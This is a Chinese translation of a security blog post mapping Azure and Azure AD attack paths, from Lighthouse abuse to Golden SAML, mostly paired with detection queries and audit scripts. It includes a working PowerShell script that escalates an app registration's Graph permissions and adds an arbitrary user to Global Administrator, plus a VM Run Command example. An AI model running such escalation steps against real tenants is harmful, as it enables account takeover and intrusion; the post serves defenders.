本文为翻译文章,原文地址:https://cloudbrothers.info/azure-attack-paths/
创建和维护一个安全的环境是困难的。随着每一项技术或产品添加到您的环境中,它变得更加复杂。微软Azure作为一个云环境也不例外,随着每年增加的许多服务和特性,即使你不做任何改变,它也会变得更加复杂。因为在迁移到云上时,保持IT资产的安全非常重要,所以了解应该避免哪些不良实践以及存在哪些攻击场景非常重要。
在这篇博客文章中,我想介绍一下Azure环境中已知的攻击路径。这种攻击对许多人来说并不新鲜,在撰写本文时,我依赖于其他IT安全专业人员的公开研究。就像使用内部活动目录一样,我认为让这些信息尽可能容易访问是很重要的。展示不同的服务和权限如何导致脆弱的环境是关键,将所有这些信息放在一个地方是一个良好的开始。
由于攻击图有助于减轻一些复杂性,所以我基于这个模型概述了不同的攻击路径。
根据已发表的关于每种攻击路径的工作中包含的信息,我将我的文章限制为一个简短的攻击描述,您将不得不阅读原始文章以获得基本细节和深入解释。我不想只是复制原作者的作品,而是为所有人创造一个起点。
Azure攻击路径图
Azure Lighthouse
Azure Lighthouse本身就是一种管理其他租户资源的合法方式。但是攻击者可以欺骗管理员或使用劫持的帐户接受委托的权限请求。
为了实现这一点,攻击者创建一个带有所需角色定义的自定义模板。注意,不能使用Owner或任何具有DataActions权限的内置角色。
生成的模板必须部署在目标租户中。每个订阅都需要单独部署。攻击者可以使用Azure Policy以自动化的方式部署它。
部署完成后,攻击者可以从自己的租户访问目标租户订阅中的资源。因为攻击者拥有Contributor访问权限,所以像Invoke-AzVMRunCommand这样的攻击路径是可能的。
从攻击者的角度来看,您可以在Azure Portal的各个刀片中查看您的客户。
原来的部署是可见的,但也可以从订阅中的部署部分中删除。
检测这种攻击的更好方法是检查Microsoft.ManagedServices注册的意外分配。检查搜索查询。
在目标租户中,您还可以通过 PowerShell 或在Azure 门户中检查当前处于活动状态的服务产品。
Get-AzManagedServicesDefinition
Get-AzManagedServicesAssignment
在服务的当前预览状态中可能存在问题,但使检测变得有点困难的是受攻击订阅的RBAC视图。没有提到额外的贡献者。
攻击者发起的所有操作也都记录在活动日志中。
查询Microsoft.ManagedServices注册。
AzureActivity
| where OperationNameValue =~ "Microsoft.ManagedServices/registrationAssignments/Write"
| extend timestamp = TimeGenerated, AccountCustomEntity = Caller, IPCustomEntity = CallerIpAddress
检查其他租户的用户执行的任何操作
let HomeTenantId = "YOURTENANTID";
AzureActivity
| extend TenantId = todynamic(Claims).['http://schemas.microsoft.com/identity/claims/tenantid']
| where TenantId != HomeTenantId
| where isnotempty( TenantId )
| sort by TimeGenerated
委派管理权限
向合作伙伴委派管理特权的概念是为云解决方案提供商(CSP)建立的。他们可以向客户提供许可证和服务,另一方面接管对这些客户和服务的第一和第二级支持。
这个想法很好,但大多数客户不知道的是,CSP在他们的租户中获得了Global Admin权限。客户无法控制合作伙伴的哪个用户访问他们的数据。只有合作伙伴才能实现基于角色的访问概念。甚至这也是一种全有或全无的方法,不允许只在角色之间区分客户。
当NOBELIUM开始瞄准具有授权管理特权的csp时,这种情况开始困扰微软。
2022年2月,微软发布了细粒度委托管理特权(GDAP),以减轻那些影响深远的权限。
- 检测
在Microsoft Admin Center中检查您的合作伙伴并删除不需要的权限。他们仍然可以为你提供许可证和支持。
需要使用Azure Lighthouse或直接Azure RBAC任务。
这也是微软向他们的合作伙伴推荐的。
API权限
企业应用程序和应用程序注册是Azure AD的基本组成部分。Azure AD中应用程序管理的很大一部分是为使用的应用程序授予正确的权限。
授予应用程序应用程序权限可以让应用程序访问这个图端点和相关数据集,而不管用户是否登录。应用程序可以使用应用程序秘密或证书对服务进行身份验证并访问数据。
有些权限授予了广泛的权限,并具有潜在的危害。根据已经在环境中获得的权限,攻击者可以添加一个自定义应用程序注册,授予这些额外的权限,并使用该应用程序作为租户的后门。
注意以下权限,并在可能的情况下删除它们。
Application.ReadWrite.All - 授予应用程序充当其他实体的权限。
AppRoleAssignment.ReadWrite.All - 授予应用程序向自身授予额外权限的权限。
RoleManagement.ReadWrite.Directory - 授予应用程序向其自身、其他应用程序或任何用户授予额外权限的权限。
在 2022 年云身份峰会上的演讲中,我演示了如何使用 Microsoft.Graph 模块滥用此攻击路径。您需要您授予权限的应用程序注册Application.ReadWrite.All。然后将任何(真正的)用户分配为所有者。
# Create a self signed certificate
$AppDisplayName = "Abuse of API Permissions"
$cert = New-SelfSignedCertificate -CertStoreLocation "Cert:\CurrentUser\My" -Subject "CN=$($AppDisplayName)" -KeySpec KeyExchange -NotAfter (Get-Date).AddDays(2)
Export-Certificate -Cert $cert -FilePath ~\Downloads\AppRoleAssignment.cer
# Sign in with the user that has owner permissions and add the exported public certificate as a secret to the app registration
# Modify the following variables to match your environment
$ClientId = "GUID"
$servicePrincipalId = "GUID"
$TenantId = "GUID"
$TargetUserUPN = "UPNOfAnyUser" # Will be GA at the end of this script
# Connect as the application using the the certificate as a secret
Connect-MgGraph -ClientId $ClientId -CertificateThumbprint $cert.Thumbprint -TenantId $TenantId
# Check you permission scopes
Get-MgContext
# Add additional permissions to the app
$appRoleAssignments = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments" | Select-Object -ExpandProperty value
$params = @{
principalId = $servicePrincipalId
resourceId = $appRoleAssignments.resourceId
appRoleId = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory
}
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments" -Body $params
$params = @{
principalId = $servicePrincipalId
resourceId = $appRoleAssignments.resourceId
appRoleId = "df021288-bdef-4463-88db-98f22de89214" # User.Read.All
}
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments" -Body $params
# Reconnect to apply the new API permissions
Disconnect-MgGraph
Connect-MgGraph -ClientId $ClientId -CertificateThumbprint $cert.Thumbprint -TenantId $TenantId
# Check the scopes again
Get-MgContext
# Get UserId for the user
$TargetUser = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/users/$TargetUserUPN"
# Add the user to the global admin role
$Reference = @{ "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/" + $TargetUser.id }
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/`$ref" -Body $Reference -ContentType "application/json"
使用Andy Robbins发布的脚本AuditAppRoles.ps1。
如果您更喜欢使用 Microsoft.Graph 模块的本机解决方案,我调整了脚本。
# Install-Module Microsoft.Graph
Connect-MgGraph -Scopes "Application.Read.All" -UseDeviceAuthentication
# Get all tenant applications
$TenantApplications = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/applications"
# Get all service principals
$ServicePrincipalIds = ForEach ($appId in ($TenantApplications.value.appId) ) {
Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/?`$filter=(appid eq '$appId')" | Select-Object -ExpandProperty value | Select-Object -ExpandProperty id
}
# Get all role assignments
$appRoleAssignments = foreach ($SPId in $ServicePrincipalIds) {
$SP = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SPId/appRoleAssignments"
if ($SP.value) {
$SP.value | Select-Object -Property principalDisplayName, principalId, resourceDisplayName, resourceId, appRoleId, appRoleDisplayName
}
}
# Define APIs and attack path discription
$DangerousAPIPermissions = @{
"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" = "RoleManagement.ReadWrite.Directory -> directly promote yourself to GA"
"06b708a9-e830-4db3-a914-8e69da51d44f" = "AppRoleAssignment.ReadWrite.All -> grant yourself RoleManagement.ReadWrite.Directory, then promote to GA"
"0a3e4e0d-1c4f-4d10-93f7-3b1f145e76e1" = "Application.ReadWrite.All -> act as another entity e.g. GA"
}
# List all applications that have any of these permissions granted
$appRoleAssignments | Where-Object { $DangerousAPIPermissions.ContainsKey($_.appRoleId) } | Select-Object -Property principalDisplayName, principalId, resourceDisplayName, resourceId, appRoleId, appRoleDisplayName, @{Name="DangerousAPIPermission";Expression={$DangerousAPIPermissions[$_.appRoleId]}}
如果您在您的环境中使用 Microsoft Defender for Cloud Apps (Microsoft Cloud App Security),则会有一个内置警报Unusually added credentials to OAuth 应用程序,可用作恶意活动的指示器。
使用此查询来检查是否将任何这些危险权限授予应用程序。
let DangerousPermissions = dynamic(["AppRoleAssignment.ReadWrite.All","Application.ReadWrite.All","RoleManagement.ReadWrite.Directory"]);
AuditLogs
| where OperationName == "Add app role assignment to service principal"
| where Result =~ "success"
| mv-expand TargetResources
| mv-expand TargetResources.modifiedProperties
| where TargetResources_modifiedProperties.displayName == "AppRole.Value"
| extend InitiatingUserOrApp = tostring(InitiatedBy.user.userPrincipalName)
| extend InitiatingIpAddress = tostring(InitiatedBy.user.ipAddress)
| extend UserAgent = iff(AdditionalDetails[0].key == "User-Agent",tostring(AdditionalDetails[0].value),"")
| extend AddedPermission = replace_string(tostring(TargetResources_modifiedProperties.newValue),'"','')
| where AddedPermission in~ ( DangerousPermissions )
| mv-expand TargetResources.modifiedProperties
| where TargetResources_modifiedProperties.displayName == "ServicePrincipal.ObjectID"
| extend ServicePrincipalObjectID = replace_string(tostring(TargetResources_modifiedProperties.newValue),'"','')
| extend timestamp = TimeGenerated, AccountCustomEntity = InitiatingUserOrApp, IPCustomEntity = InitiatingIpAddress
要确定是否将任何用户添加为所有者,请使用上面的 PowerShell 脚本来识别具有这些关键权限的所有应用程序。然后创建一个名为 Sentinel 的监视列表HighRiskApps,其中包含这些应用程序的objectId和displayName。objectId必须是SearchKey。
993756fa-a470-4580-af15-544acc2b3888,Cloud Identity Summit Demo RoleManagement.ReadWrite.Directory
f15662f1-641c-4747-b690-a7df80c807da,Cloud Identity Summit Demo AppRoleAssignment.ReadWrite.All
此查询将AuditLogs结合监视列表使用。
AuditLogs
| where OperationName == "Add owner to application"
| extend SearchKey = tostring(TargetResources[1].id)
| join kind=inner _GetWatchlist('HighRiskApps') on SearchKey
| extend TargetUser = tostring(TargetResources[0].userPrincipalName)
| extend Actor = tostring(InitiatedBy.user.userPrincipalName)
最后但并非最不重要的一点是,监视是否将新机密添加到其中一个应用程序中。
AuditLogs
| where OperationName has_any ("Add service principal", "Certificates and secrets management")
| where Result =~ "success"
| where tostring(InitiatedBy.user.userPrincipalName) has "@" or tostring(InitiatedBy.app.displayName) has "@"
| extend targetDisplayName = tostring(TargetResources[0].displayName)
| extend targetId = tostring(TargetResources[0].id)
| extend targetType = tostring(TargetResources[0].type)
| extend keyEvents = TargetResources[0].modifiedProperties
| mv-expand keyEvents
| where keyEvents.displayName =~ "KeyDescription"
| extend new_value_set = parse_json(tostring(keyEvents.newValue))
| extend old_value_set = parse_json(tostring(keyEvents.oldValue))
| where old_value_set == "[]"
| mv-expand new_value_set
| parse new_value_set with * "KeyIdentifier=" keyIdentifier:string ",KeyType=" keyType:string ",KeyUsage=" keyUsage:string ",DisplayName=" keyDisplayName:string "]" *
| where keyUsage in ("Verify","")
| extend UserAgent = iff(AdditionalDetails[0].key == "User-Agent",tostring(AdditionalDetails[0].value),"")
| extend InitiatingUserOrApp = iff(isnotempty(InitiatedBy.user.userPrincipalName),tostring(InitiatedBy.user.userPrincipalName), tostring(InitiatedBy.app.displayName))
| extend InitiatingIpAddress = iff(isnotempty(InitiatedBy.user.ipAddress), tostring(InitiatedBy.user.ipAddress), tostring(InitiatedBy.app.ipAddress))
| project-away new_value_set, old_value_set
| project-reorder TimeGenerated, OperationName, InitiatingUserOrApp, InitiatingIpAddress, UserAgent, targetDisplayName, targetId, targetType, keyDisplayName, keyType, keyUsage, keyIdentifier, CorrelationId, TenantId
| join kind=inner _GetWatchlist('HighRiskApps') on $left.targetId == $right.SearchKey
| extend timestamp = TimeGenerated, AccountCustomEntity = InitiatingUserOrApp, IPCustomEntity = InitiatingIpAddress
Azure AD Roles
向用户或应用程序授予错误的 Azure AD 角色可能会导致对全局管理员的攻击路径。尤其是“Privileged Authentication Administrator”角色,就像授予用户全局管理员权限一样,因为她可以重置任何GA的密码,修改MFA设置并接管帐户。
“特权角色管理员”角色授予拥有它的实体向任何用户添加其他 Azure AD 角色的权限,包括全局管理员角色。这也扩展到 API 权限,并允许用户授予对任何应用程序的任何权限的同意。请参阅API 权限以了解攻击者可以对此进行什么操作。
使用Azure AD审计日志来检测对这些角色的更改。
let HighPrivRoles = dynamic(["Global Administrator","Company Administrator","Privileged Authentication Administrator","Privileged Role Administrator"]);
AuditLogs
| where OperationName == "Add member to role"
| mv-expand TargetResources
| mv-expand TargetResources.modifiedProperties
| where TargetResources_modifiedProperties.displayName == "Role.DisplayName"
| extend AddedToRole = replace_string(tostring(TargetResources_modifiedProperties.newValue),'"','')
| where AddedToRole in~ (HighPrivRoles)
| extend Actor = iff(isnotempty(InitiatedBy.user.userPrincipalName),InitiatedBy.user.userPrincipalName,InitiatedBy.app.servicePrincipalId)
| extend TargetUsername = TargetResources.userPrincipalName
您还应该监视环境中最具有特权的角色的任何更改。
let HighPrivRoles = dynamic(["Global Administrator", "Company Administrator", "Privileged Authentication Administrator", "Privileged Role Administrator"]);
AuditLogs
| where OperationName == "Reset user password"
| mv-expand TargetResources
| extend TargetUsername = tostring(TargetResources.userPrincipalName)
| join kind=innerunique (
IdentityInfo
| where TimeGenerated > ago(14d)
)
on $left.TargetUsername == $right.AccountUPN
| mv-expand AssignedRoles
| extend AssignedRoles = tostring(AssignedRoles)
| where AssignedRoles in (HighPrivRoles)
| summarize by TimeGenerated, TargetUsername, AssignedRoles, OperationName, AADUserId=AccountObjectId
提升Azure订阅访问权限
提升 Azure 订阅访问权限描述了使用全局管理员角色在 Azure 环境中获得提升权限的合法方法。
为了实现这一点,攻击者已经拥有对您环境的扩展访问权限。全局管理员角色为持有它的人提供了租户中的上帝般的权限。可以将其想象为本地 Active Directory 中的域管理员。
攻击者必须在 Azure AD属性中启用“Azure 资源的访问管理”设置。这会将当前用户添加到租户根目录上的“用户访问管理员”角色。这允许攻击者为她或用于在租户中的每个订阅或管理组上持久性的恶意应用程序添加额外的角色权限 ( Azure RBAC )。
“Azure资源访问管理”设置的更改将不会显示在订阅审计日志中,也不会显示在Azure AD审计日志中。
但是,此更改将记录在“目录活动”日志中,可通过“监视器”访问。从“活动”切换到“目录活动”以查看更改。
您还可以使用此 PowerShell 检查是否有任何用户在根范围内具有这种角色分配。
Get-AzRoleAssignment | Where-Object {$_.RoleDefinitionName -eq "User Access Administrator" -and $_.Scope -eq "/"}
我目前不知道将这些日志转发到 Log Analytics 工作区或 Microsoft Sentinel 的本机方式,这将允许搜索操作Microsoft.Authorization/elevateAccess/action。
此日志的门户中的诊断设置选项显示为灰色。
Christopher Brumm ( @cbrhh ) 指出有一篇文章解释了如何在 Microsoft Defender for Cloud Apps (Microsoft Cloud App Security) 中使用警报并将此警报转发给 Microsoft Sentinel。
如果您已将 Microsoft Azure 设置为 MDA (MCAS) 中的连接器,则可以使用以下深层链接检查您的日志。
https://security.microsoft.com/cloudapps/activity-log?service=eq(i:12260,)&activity.eventType=eq(12260:EVENT_AZURE_GENERIC:Microsoft.Authorization%252FelevateAccess%252Faction,)&source=eq(t:2,)&activityObject=eq(%252Fproviders%252FMicrosoft.Authorization,)
或者如果您仍想使用旧门户
https://portal.cloudappsecurity.com/#/audits?service=eq(i:12260,)&activity.eventType=eq(12260:EVENT_AZURE_GENERIC:Microsoft.Authorization%2FelevateAccess%2Faction,)&source=eq(t:2,)&activityObject=eq(%2Fproviders%2FMicrosoft.Authorization,)
- 选项2:本机Microsoft Sentinel警报
如果您不想在 MDA (MCAS) 和 Microsoft Sentinel 中定义警报,Sami Lamppus 有一篇很棒的博客文章,介绍了如何使用“Microsoft 365 Defender(预览版)”数据连接器将原始CloudAppEvents事件流式传输到 Microsoft Sentinel 和在那里建立一个分析规则。
现在您可以查询CloudAppEvents以识别此操作。请记住,Microsoft Sentinel 中的原始数据摄取是一项付费功能,而警报转发是免费的。
Azure VM 运行命令或自定义脚本执行
通过订阅和虚拟机贡献者的角色分配或任何拥有Microsoft.Compute/virtualMachines/*权限的自定义角色,攻击者可以在此订阅中的任何虚拟机上执行脚本或 PowerShell 命令。
这允许她从您的云环境横向移动到您的本地环境,并且如果服务器连接到内部网络,则从这里向前移动。
发送到 VM 的脚本位于攻击者的计算机中,或者如本演示中所示,直接位于 Azure Cloud Shell 中。
Invoke-AzVMRunCommand -ResourceGroupName 'RESOURCEGROUP' -Name 'VMNAME' -CommandId 'RunPowerShellScript' -ScriptPath ./runcommand.ps1
所有这些活动都将记录在订阅活动日志以及目标机器上
您可以将订阅活动日志转发到中央 Log Analytics 工作区,并使用 Azure Monitor 或 Microsoft Sentinel 根据活动创建警报或事件。
另一种方法是使用 Azure Policy 定义配置 Azure 活动日志以流式传输到指定的 Log Analytics 工作区,以在所有订阅上自动执行此配置。
该脚本是在SYSTEM用户的上下文中执行的,因此在Windows中具有非常大的权限。
检测这种行为的一个简单查询就是这样。使用make_list是因为每次成功执行都有三个事件。接受、开始和成功。
由于您可以从 Azure Cloud Shell 执行此命令,因此 IP 地址可能不是攻击者自己的 IP 地址,而是 Microsoft 的。
AzureActivity
| where CategoryValue == "Administrative"
| where OperationNameValue =~ "Microsoft.Compute/virtualMachines/runCommand/action"
| extend VMName = tostring(todynamic(Properties).resource)
| summarize make_list(ActivityStatusValue), TimeGenerated = max(TimeGenerated) by CorrelationId, CallerIpAddress, Caller, ResourceGroup, VMName
托管身份
托管身份是一种很好的方式,可以最大限度地减少处理凭据和向非人类实体授予权限的需要。
可以启用诸如虚拟机之类的资源以使用系统或用户分配的托管身份,然后可以授予此身份对其他资源的权限。
如果您使用虚拟机,则可以使用托管标识,因此无需了解任何凭据即可访问这些资源。
当托管标识被授予许多权限时,攻击者可以利用此优势。例如,具有被授予订阅贡献者的受管身份的虚拟机可以接管订阅和订阅内的所有资源,或者甚至稍后移动到该订阅内的其他虚拟机。
检查您的托管身份及其权限,并将其限制为所需的最低权限。最小特权原则是这里的关键。
您可以使用 PowerShell 列出这些托管标识的所有 RBAC 权限。
$ManagedIdentities = Get-AzADServicePrincipal | ? ServicePrincipalType -eq "ManagedIdentity"
foreach ($ManagedIdentity in $ManagedIdentities) {
Get-AzRoleAssignment -ObjectId $ManagedIdentity.Id
}
所需状态配置
Desired State Configuration (DSC) 是每个至少具有 Windows PowerShell v4 的 Windows Server 的内置配置功能。它依靠中央服务来提供配置,服务器上的代理(本地配置管理器 (LCM))应用这些配置。
使用 Azure 自动化状态配置,您可以将配置更改部署到您环境中的每个 Windows 服务器,因此该技术也可用于将恶意配置或后门部署到您的服务器。
带有来宾配置服务的 Azure Policy
带有来宾配置服务的 Azure Policy 是 Azure 自动化状态配置服务的继承者,并使用新的平台独立版本的 PowerShell(以前称为 PowerShell Core)。
攻击者可以创建自定义配置包并通过本机 Azure 功能进行部署。在这种情况下,她还必须将访客配置扩展部署到每台被攻击的机器上,因为这种方法不是内置于 Windows 中的。
由于此功能包含在 Azure 策略中,因此攻击者可以隐藏起来,只要管理员不注意关闭正在部署的 Azure 策略。
来宾配置扩展在SYSTEM上下文中运行,因此任何攻击都不必摆弄目标机器上的有限权限。只要目标机器在 Azure 环境中拥有额外的权限,攻击者就可以通过强制的系统托管标识在环境中横向移动。
Azure 自动化混合 Runbook 辅助角色
在引入托管标识之前,Azure 运行方式帐户是向任何 Azure 自动化帐户添加 Azure 权限的默认方法。微软不再推荐使用
运行方式帐户使用基于证书的身份验证,此证书是自动创建的,包括一个运行方式连接,以便在您的自动化运行手册中更轻松地使用。
要在混合工作器、本地机器或用于执行 Runbook 的云中使用此证书,不受本机 Azure Runbook 工作器的限制,必须将其导出到此机器。
有权访问此机器的攻击者可以提取包含私钥的证书,并使用它对 Azure 环境进行身份验证。根据配置,她可以使用此应用程序标识来访问其他资源,甚至在目标 Azure 环境中获得初步立足点。
AAD 连接
当安装Azure AD Connect将您的身份从on-prem环境同步到Azure AD时,会在两个目录中创建一个名为MSOL_[0-9a-f]{12}的用户。此用户在on-prem和云环境中具有广泛的权限。此外,该用户被排除在安全默认值之外,大多数公司将其排除在条件访问策略之外。
攻击者在Azure AD Connect服务器上拥有管理权限,可以提取该用户的密码,并通过AAD进行身份验证,以重置用户的密码。如果您同步一个on-prem管理帐户,并授予该用户,例如全局管理,攻击者可以使用它作为进入您的AAD的入口点。
在on-prem环境中,MSOL在大多数情况下还具有使用DCSync重置密码甚至读取密码的能力。攻击者现在可以请求krbtgt用户的密码,并使用该密码创建金色或银色Kerberos票据。
将您的Azure AD连接服务器视为域控制器。这显然是一台Tier 0机器。
也不要在AD和AAD之间同步任何管理员用户。尝试在这两个目录之间建立信任边界。
除了Microsoft关于加固的建议之外,您还可以更进一步,将MSOL_用户的功能限制到那些必须同步的组织单元和用户。krbtgt不是这些用户中的一个。
Active Directory Federation Server
当攻击者可以访问您的 Active Directory 联合服务器 (ADFS) 上的私钥材料时,她可以创建被任何信任 ADFS 服务的服务接受的伪造 SAML 响应。 因此,这种攻击最初也被命名为“Golden SAML”,参考了使用 Kerberos 时的金票攻击。
任何从本地同步到云的用户,被重定向到 ADFS 进行身份验证,都可以被模拟,甚至不知道密码。
作为意外收获,这种攻击甚至可以绕过任何 MFA 要求,因为伪造的 SAML 响应可能包含用户成功完成 MFA 的必要信息。
PPT
https://cloudbrothers.info/slides/Cloud_Identity_Summit_2022_-_Azure_Attack_Paths.pdf
版本和更新
2022-03-21 - 发布初始版本
2022-09-16 - 将标题从 Azure Dominance Paths 更新为 Azure Attack Paths
2022-09-17 - 在提升 Azure 订阅访问路径中添加了指向统一 M365 门户的链接
2022-09-23 - 添加了在 2022 年 Cloud Identiy 峰会上使用的幻灯片、攻击示例和 Sentinel 查询
2022-09-23 - 为提升 Azure 订阅访问添加了新检测